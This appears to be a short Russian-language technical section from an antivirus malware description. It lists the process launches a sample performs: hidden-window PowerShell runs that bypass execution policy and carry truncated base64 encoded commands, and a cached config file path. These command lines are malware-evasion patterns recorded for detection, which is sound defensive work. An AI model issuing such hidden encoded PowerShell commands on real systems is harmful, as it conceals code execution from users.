Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABSAHUAbgBzAHAAYQBjAGUAIAA9ACAAWwByAHUAbgBzAHAAYQBjAGUAZgBhAGMAdABvAHIAeQBdADoAOgBDAHIAZQBhAHQAZQBSAHUAbgBzAHAAYQBjAGUAKAApAAoAJABQA...
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABSAHUAbgBzAHAAYQBjAGUAIAA9ACAAWwByAHUAbgBzAHAAYQBjAGUAZgBhAGMAdABvAHIAeQBdADoAOgBDAHIAZQBhAHQAZQBSAHUAbgBzAHAAYQBjAGUAKAApAAoAJABQA... (со скрытым окном)